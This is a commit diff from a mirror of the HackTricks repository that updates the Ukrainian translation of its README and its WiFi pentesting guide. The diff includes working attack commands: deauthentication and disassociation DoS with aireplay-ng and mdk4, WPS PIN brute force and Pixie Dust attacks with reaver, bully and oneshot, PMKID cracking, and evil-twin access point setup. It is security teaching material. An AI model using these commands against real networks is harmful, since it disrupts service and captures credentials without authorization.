mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
This commit is contained in:
parent
cb33fe4ca0
commit
3c266178aa
19 changed files with 428 additions and 434 deletions
22
README.md
22
README.md
|
@ -5,10 +5,10 @@
|
|||
_Hacktricks логотипи та анімаційний дизайн від_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Ласкаво просимо до вікі, де ви знайдете кожен хакерський трюк/техніку/що завгодно, що я навчився з CTF, реальних додатків, читання досліджень та новин.**
|
||||
**Ласкаво просимо до вікі, де ви знайдете кожен хакерський трюк/техніку/що б я не навчився з CTF, реальних додатків, читання досліджень та новин.**
|
||||
{% endhint %}
|
||||
|
||||
Щоб почати, дотримуйтесь цієї сторінки, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час тестування на проникнення** однієї або кількох **машин:**
|
||||
Щоб почати, дотримуйтесь цієї сторінки, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час пентестингу** одного або кількох **машин:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,7 +20,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) - це чудова компанія з кібербезпеки, чий слоган - **ЗЛАМУЙ НЕЗЛАМНЕ**. Вони проводять власні дослідження та розробляють власні хакерські інструменти, щоб **пропонувати кілька цінних послуг з кібербезпеки**, таких як тестування на проникнення, червоні команди та навчання.
|
||||
[**STM Cyber**](https://www.stmcyber.com) - це чудова компанія з кібербезпеки, чий слоган - **ЗЛАМУЙ НЕЗЛАМНЕ**. Вони проводять власні дослідження та розробляють власні хакерські інструменти, щоб **пропонувати кілька цінних послуг з кібербезпеки**, таких як пентестинг, червоні команди та навчання.
|
||||
|
||||
Ви можете перевірити їхній **блог** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
|
@ -32,7 +32,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань** цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
|
||||
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -65,13 +65,13 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
|
||||
|
||||
* **Інсайти з хакінгу:** Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
* **Новини про хакінг в реальному часі:** Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
* **Останні оголошення:** Будьте в курсі нових баг-бонті, які запускаються, та важливих оновлень платформи
|
||||
* **Останні оголошення:** Будьте в курсі нових баг-бонті та важливих оновлень платформи
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами сьогодні!
|
||||
|
||||
|
@ -81,9 +81,9 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
|
||||
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-ефектом.** Використовуйте наші 20+ спеціальних інструментів, щоб картографувати поверхню атаки, знаходити проблеми безпеки, які дозволяють вам підвищувати привілеї, та використовувати автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-ефектом.** Використовуйте наші 20+ спеціальних інструментів, щоб картографувати поверхню атаки, знаходити проблеми безпеки, які дозволяють вам підвищувати привілеї, і використовувати автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -110,7 +110,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
[**WebSec**](https://websec.nl) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх загроз кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
|
||||
|
||||
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; тестування на проникнення, **аудити безпеки**, навчання з підвищення обізнаності, фішингові кампанії, перевірка коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
|
||||
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; пентестинг, **аудити безпеки**, навчання з підвищення обізнаності, фішингові кампанії, перевірка коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
|
||||
|
||||
Ще одна цікава річ про WebSec полягає в тому, що на відміну від середньої по галузі, WebSec **дуже впевнена у своїх навичках**, настільки, що вони **гарантують найкращі результати якості**, на їхньому веб-сайті зазначено: "**Якщо ми не можемо зламати це, ви не платите!**". Для отримання додаткової інформації ознайомтеся з їхнім [**веб-сайтом**](https://websec.nl/en/) та [**блогом**](https://websec.nl/blog/)!
|
||||
|
||||
|
@ -131,8 +131,8 @@ WebSec - це **все-в-одному компанія з безпеки**, щ
|
|||
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте хакінг AWS:<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте хакінг GCP: <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,34 +1,34 @@
|
|||
# Pentesting Wifi
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
**Хакерські інсайти**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
**Hacking Insights**\
|
||||
Залучайте контент, який занурюється в захоплення та виклики хакінгу
|
||||
|
||||
**Новини хакінгу в реальному часі**\
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
**Real-Time Hack News**\
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Залишайтеся в курсі нових програм винагород за баги та важливих оновлень платформ
|
||||
**Latest Announcements**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## Wifi basic commands
|
||||
```bash
|
||||
|
@ -71,6 +71,8 @@ docker run \
|
|||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||||
v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
|
||||
|
||||
### wifiphisher
|
||||
|
||||
Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати шаблон фішингу, щоб отримати справжній пароль мережі або захопити облікові дані соціальних мереж.
|
||||
|
@ -87,15 +89,15 @@ sudo python setup.py install # Install any dependencies
|
|||
* Сканує можливі мережі - І дозволяє вам вибрати жертву(и)
|
||||
* Якщо WEP - Запускає WEP атаки
|
||||
* Якщо WPA-PSK
|
||||
* Якщо WPS: атака Pixie dust та атака грубої сили (будьте обережні, атака грубої сили може зайняти багато часу). Зверніть увагу, що він не намагається використовувати нульовий PIN або базу/згенеровані PIN.
|
||||
* Якщо WPS: атака Pixie dust та атака брутфорсом (будьте обережні, атака брутфорсом може зайняти багато часу). Зверніть увагу, що він не намагається використовувати нульовий PIN або PIN-коди з бази даних/згенеровані PIN-коди.
|
||||
* Спробує захопити PMKID з AP для його зламу
|
||||
* Спробує деаутентифікувати клієнтів AP, щоб захопити хендшейк
|
||||
* Якщо PMKID або хендшейк, спробує зламати за допомогою топ-5000 паролів.
|
||||
* Якщо PMKID або хендшейк, спробує брутфорсити, використовуючи топ-5000 паролів.
|
||||
|
||||
## Підсумок атак
|
||||
|
||||
* **DoS**
|
||||
* Деаутентифікація/дезасоціація -- Відключити всіх (або конкретний ESSID/клієнт)
|
||||
* Деаутентифікація/дезасоціація -- Відключити всіх (або конкретний ESSID/Клієнт)
|
||||
* Випадкові фейкові AP -- Сховати мережі, можливий крах сканерів
|
||||
* Перевантажити AP -- Спробувати вбити AP (зазвичай не дуже корисно)
|
||||
* WIDS -- Грати з IDS
|
||||
|
@ -103,18 +105,18 @@ sudo python setup.py install # Install any dependencies
|
|||
* **Злам**
|
||||
* Зламати **WEP** (кілька інструментів і методів)
|
||||
* **WPA-PSK**
|
||||
* **WPS** PIN "Груба сила"
|
||||
* **WPA PMKID** груба сила
|
||||
* **WPS** PIN "Брутфорс"
|
||||
* **WPA PMKID** брутфорс
|
||||
* \[DoS +] **Захоплення WPA хендшейка** + Злам
|
||||
* **WPA-MGT**
|
||||
* **Захоплення імені користувача**
|
||||
* **Груба сила** облікових даних
|
||||
* **Брутфорс** облікових даних
|
||||
* **Злий близнюк** (з DoS або без)
|
||||
* **Відкритий** Злий близнюк \[+ DoS] -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
|
||||
* **Відкритий** Злий близнюк \[+ DoS] -- Корисно для захоплення облікових даних порталу захоплення та/або виконання атак в LAN
|
||||
* **WPA-PSK** Злий близнюк -- Корисно для атак на мережу, якщо ви знаєте пароль
|
||||
* **WPA-MGT** -- Корисно для захоплення корпоративних облікових даних
|
||||
* **KARMA, MANA**, **Гучний MANA**, **Відомий маяк**
|
||||
* **+ Відкритий** -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
|
||||
* **+ Відкритий** -- Корисно для захоплення облікових даних порталу захоплення та/або виконання атак в LAN
|
||||
* **+ WPA** -- Корисно для захоплення WPA хендшейків
|
||||
|
||||
## DOS
|
||||
|
@ -123,7 +125,7 @@ sudo python setup.py install # Install any dependencies
|
|||
|
||||
**Опис з** [**тут**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Деаутентифікаційні** атаки, поширений метод у Wi-Fi хакінгу, включають підробку "управлінських" кадрів, щоб **примусово відключити пристрої від мережі**. Ці незашифровані пакети обманюють клієнтів, змушуючи їх вірити, що вони з легітимної мережі, що дозволяє зловмисникам збирати WPA хендшейки для цілей зламу або постійно порушувати мережеві з'єднання. Ця тактика, тривожна у своїй простоті, широко використовується і має значні наслідки для безпеки мережі.
|
||||
**Деаутентифікаційні** атаки, поширений метод у Wi-Fi хакінгу, включають підробку "управлінських" кадрів, щоб **примусово відключити пристрої від мережі**. Ці незашифровані пакети обманюють клієнтів, змушуючи їх вірити, що вони з легітимної мережі, що дозволяє зловмисникам збирати WPA хендшейки для цілей зламу або постійно порушувати мережеві з'єднання. Ця тактика, що вражає своєю простотою, широко використовується і має значні наслідки для безпеки мережі.
|
||||
|
||||
**Деаутентифікація за допомогою Aireplay-ng**
|
||||
```
|
||||
|
@ -137,7 +139,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||
|
||||
### Пакети Відключення
|
||||
|
||||
**Пакети відключення**, подібно до пакетів деаутентифікації, є типом управлінського кадру, що використовується в Wi-Fi мережах. Ці пакети служать для розриву з'єднання між пристроєм (таким як ноутбук або смартфон) і точкою доступу (AP). Основна відмінність між відключенням і деаутентифікацією полягає в їхніх сценаріях використання. У той час як AP випускає **пакети деаутентифікації, щоб явно видалити зловмисні пристрої з мережі, пакети відключення зазвичай надсилаються, коли AP проходить через вимкнення**, перезавантаження або переміщення, що вимагає роз'єднання всіх підключених вузлів.
|
||||
**Пакети відключення**, подібно до пакетів деаутентифікації, є типом управлінського кадру, що використовується в Wi-Fi мережах. Ці пакети служать для розриву з'єднання між пристроєм (таким як ноутбук або смартфон) і точкою доступу (AP). Основна відмінність між відключенням і деаутентифікацією полягає в їхніх сценаріях використання. У той час як AP випромінює **пакети деаутентифікації, щоб явно видалити зловмисні пристрої з мережі, пакети відключення зазвичай надсилаються, коли AP проходить через вимкнення**, перезавантаження або переміщення, що вимагає роз'єднання всіх підключених вузлів.
|
||||
|
||||
**Цей напад можна виконати за допомогою mdk4(режим "d"):**
|
||||
```bash
|
||||
|
@ -230,23 +232,23 @@ WPS (Wi-Fi Protected Setup) спрощує процес підключення
|
|||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**Smart Brute Force**
|
||||
**Смарт Брут Форс**
|
||||
|
||||
Цей вдосконалений підхід націлений на WPS PIN, використовуючи відомі вразливості:
|
||||
|
||||
1. **Попередньо виявлені PIN-коди**: Використовуйте базу даних відомих PIN-кодів, пов'язаних з конкретними виробниками, які відомі використанням однакових WPS PIN-кодів. Ця база даних корелює перші три октети MAC-адрес з ймовірними PIN-кодами для цих виробників.
|
||||
2. **Алгоритми генерації PIN-кодів**: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PIN-коди на основі MAC-адреси AP. Алгоритм Arcadyan додатково вимагає ідентифікатор пристрою, що додає рівень до процесу генерації PIN-коду.
|
||||
|
||||
### WPS Pixie Dust attack
|
||||
### Атака WPS Pixie Dust
|
||||
|
||||
**Dominique Bongard** виявив недолік у деяких точках доступу (AP) щодо створення секретних кодів, відомих як **nonces** (**E-S1** та **E-S2**). Якщо ці nonces можна вгадати, зламати WPS PIN AP стає легко. AP розкриває PIN у спеціальному коді (hash), щоб довести, що він легітимний, а не підроблений (rogue) AP. Ці nonces по суті є "ключами" для розблокування "сейфа", що містить WPS PIN. Більше про це можна знайти [тут](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
**Домінік Бонгард** виявив недолік у деяких Точках Доступу (AP) щодо створення секретних кодів, відомих як **nonce** (**E-S1** та **E-S2**). Якщо ці nonce можна вгадати, зламати WPS PIN AP стає легко. AP розкриває PIN у спеціальному коді (хеш), щоб довести, що він легітимний, а не підроблений (недобросовісний) AP. Ці nonce по суті є "ключами" для відкриття "сейфа", що містить WPS PIN. Більше про це можна знайти [тут](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
|
||||
Простими словами, проблема в тому, що деякі AP не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (офлайн-атака методом грубої сили).
|
||||
Простими словами, проблема в тому, що деякі AP не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (офлайн брутфорс атака).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
Якщо ви не хочете перевести пристрій в моніторний режим, або `reaver` і `bully` мають якісь проблеми, ви можете спробувати [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Цей інструмент може виконувати атаку Pixie Dust без необхідності переходити в моніторний режим.
|
||||
Якщо ви не хочете перевести пристрій в режим монітора, або `reaver` і `bully` мають якісь проблеми, ви можете спробувати [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Цей інструмент може виконувати атаку Pixie Dust без необхідності переходити в режим монітора.
|
||||
```bash
|
||||
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
||||
```
|
||||
|
@ -276,7 +278,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -305,7 +307,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Даючи те, що "PMK Name" є постійним, ми знаємо BSSID AP та станції, а `PMK` ідентичний тому, що з повного 4-стороннього рукостискання, **hashcat** може використати цю інформацію для злому PSK та відновлення пароля!
|
||||
Оскільки "PMK Name" є постійним, ми знаємо BSSID точки доступу та станції, а `PMK` ідентичний тому, що з повного 4-стороннього рукостискання, **hashcat** може використати цю інформацію для злому PSK та відновлення пароля!
|
||||
|
||||
Щоб **зібрати** цю інформацію та **брутфорсити** локально пароль, ви можете зробити:
|
||||
```bash
|
||||
|
@ -353,7 +355,7 @@ aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may no
|
|||
```
|
||||
_Зверніть увагу, що оскільки клієнт був деавторизований, він міг спробувати підключитися до іншої AP або, в інших випадках, до іншої мережі._
|
||||
|
||||
Як тільки в `airodump-ng` з'являється деяка інформація про хендшейк, це означає, що хендшейк був захоплений, і ви можете припинити прослуховування:
|
||||
Як тільки в `airodump-ng` з'являється інформація про хендшейк, це означає, що хендшейк був захоплений, і ви можете припинити прослуховування:
|
||||
|
||||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||||
|
||||
|
@ -389,7 +391,7 @@ pyrit -r psk-01.cap analyze
|
|||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
* Цей метод підтримує апаратні токени та одноразові паролі в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик з боку партнера і надсилає паролі у відкритому вигляді до точки доступу, що створює ризик атак на зниження безпеки.
|
||||
* Цей метод підтримує апаратні токени та одноразові паролі в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик від партнера і надсилає паролі у відкритому вигляді до точки доступу, що створює ризик атак на зниження безпеки.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
* Включає надсилання MD5 хешу пароля з клієнта. Це **не рекомендується** через вразливість до атак словником, відсутність автентифікації сервера та неможливість генерувати специфічні для сесії WEP ключі.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
|
@ -416,13 +418,13 @@ pyrit -r psk-01.cap analyze
|
|||
|
||||
Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті WiFi мережі запит EAP-Ідентичності зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Щоб забезпечити захист анонімності користувача, відповідь від EAP клієнта на пристрої користувача містить лише основну інформацію, необхідну для початкового RADIUS сервера для обробки запиту. Ця концепція ілюструється через наступні сценарії:
|
||||
|
||||
* EAP-Ідентичність = анонімний
|
||||
* У цьому сценарії всі користувачі використовують псевдонім "анонімний" як свій ідентифікатор. Початковий RADIUS сервер функціонує як EAP-PEAP або EAP-TTLS сервер, відповідальний за управління серверною стороною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації потім обробляється локально або делегується віддаленому (домашньому) RADIUS серверу.
|
||||
* EAP-Ідентичність = анонімний@realm\_x
|
||||
* EAP-Ідентичність = анонімна
|
||||
* У цьому сценарії всі користувачі використовують псевдонім "анонім" як свій ідентифікатор. Початковий RADIUS сервер функціонує як EAP-PEAP або EAP-TTLS сервер, відповідальний за управління серверною стороною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації потім обробляється локально або делегується віддаленому (домашньому) RADIUS серверу.
|
||||
* EAP-Ідентичність = анонімна@realm\_x
|
||||
* У цій ситуації користувачі з різних доменів приховують свої ідентичності, вказуючи свої відповідні домени. Це дозволяє початковому RADIUS серверу проксувати запити EAP-PEAP або EAP-TTLS до RADIUS серверів у їхніх домашніх доменах, які діють як сервер PEAP або TTLS. Початковий RADIUS сервер працює виключно як RADIUS релейний вузол.
|
||||
* Альтернативно, початковий RADIUS сервер може функціонувати як сервер EAP-PEAP або EAP-TTLS і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей варіант полегшує налаштування різних політик для різних доменів.
|
||||
* Альтернативно, початковий RADIUS сервер може функціонувати як EAP-PEAP або EAP-TTLS сервер і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей варіант полегшує налаштування різних політик для різних доменів.
|
||||
|
||||
У EAP-PEAP, як тільки TLS тунель встановлено між сервером PEAP і клієнтом PEAP, сервер PEAP ініціює запит EAP-Ідентичності та передає його через TLS тунель. Клієнт відповідає на цей другий запит EAP-Ідентичності, надсилаючи відповідь EAP-Ідентичності, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто підслуховує трафік 802.11.
|
||||
У EAP-PEAP, як тільки TLS тунель встановлений між PEAP сервером і PEAP клієнтом, PEAP сервер ініціює запит EAP-Ідентичності та передає його через TLS тунель. Клієнт відповідає на цей другий запит EAP-Ідентичності, надсилаючи відповідь EAP-Ідентичності, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто підслуховує трафік 802.11.
|
||||
|
||||
EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених TLS тунелем. У цьому випадку клієнт включає атрибут User-Name та або атрибут Password, або атрибут CHAP-Password у початкове TLS повідомлення, надіслане після встановлення тунелю.
|
||||
|
||||
|
@ -450,7 +452,7 @@ EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS кл
|
|||
|
||||
* Протокол 802.11 визначає, як станція приєднується до Розширеного Сервісного Набору (ESS), але не вказує критерії для вибору ESS або точки доступу (AP) в його межах.
|
||||
* Станції можуть переміщатися між AP, які ділять один і той же ESSID, підтримуючи з'єднання в межах будівлі або території.
|
||||
* Протокол вимагає аутентифікації станції до ESS, але не зобов'язує AP аутентифікувати станцію.
|
||||
* Протокол вимагає аутентифікації станції до ESS, але не зобов'язує аутентифікацію AP до станції.
|
||||
|
||||
### Списки уподобаних мереж (PNL)
|
||||
|
||||
|
@ -466,12 +468,12 @@ EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS кл
|
|||
### Активне опитування
|
||||
|
||||
* Активне опитування передбачає, що станції надсилають запити на опитування для виявлення найближчих AP та їх характеристик.
|
||||
* Цілеспрямовані запити на опитування націлені на конкретний ESSID, допомагаючи виявити, чи є певна мережа в межах досяжності, навіть якщо це прихована мережа.
|
||||
* Направлені запити на опитування націлені на конкретний ESSID, допомагаючи виявити, чи є певна мережа в межах досяжності, навіть якщо це прихована мережа.
|
||||
* Запити на опитування з трансляцією мають порожнє поле SSID і надсилаються всім найближчим AP, дозволяючи станції перевірити наявність будь-якої уподобаної мережі без розкриття вмісту свого PNL.
|
||||
|
||||
## Простий AP з перенаправленням в Інтернет
|
||||
|
||||
Перед тим, як пояснити, як виконати більш складні атаки, буде пояснено **як** просто **створити** **AP** і **перенаправити** його **трафік** на інтерфейс, підключений **до** **Інтернету**.
|
||||
Перед тим, як пояснити, як виконувати більш складні атаки, буде пояснено **як** просто **створити** **AP** і **перенаправити** його **трафік** на інтерфейс, підключений **до** **Інтернету**.
|
||||
|
||||
Використовуючи `ifconfig -a`, перевірте, що інтерфейс wlan для створення AP та інтерфейс, підключений до Інтернету, присутні.
|
||||
|
||||
|
@ -539,11 +541,11 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
|
||||
Атака "злий близнюк" використовує спосіб, яким клієнти WiFi розпізнають мережі, в основному покладаючись на ім'я мережі (ESSID) без вимоги до базової станції (точки доступу) автентифікувати себе для клієнта. Ключові моменти включають:
|
||||
|
||||
* **Складність у розрізненні**: Пристрої мають труднощі у відрізненні легітимних і зловмисних точок доступу, коли вони мають однаковий ESSID і тип шифрування. Реальні мережі часто використовують кілька точок доступу з однаковим ESSID для безперервного покриття.
|
||||
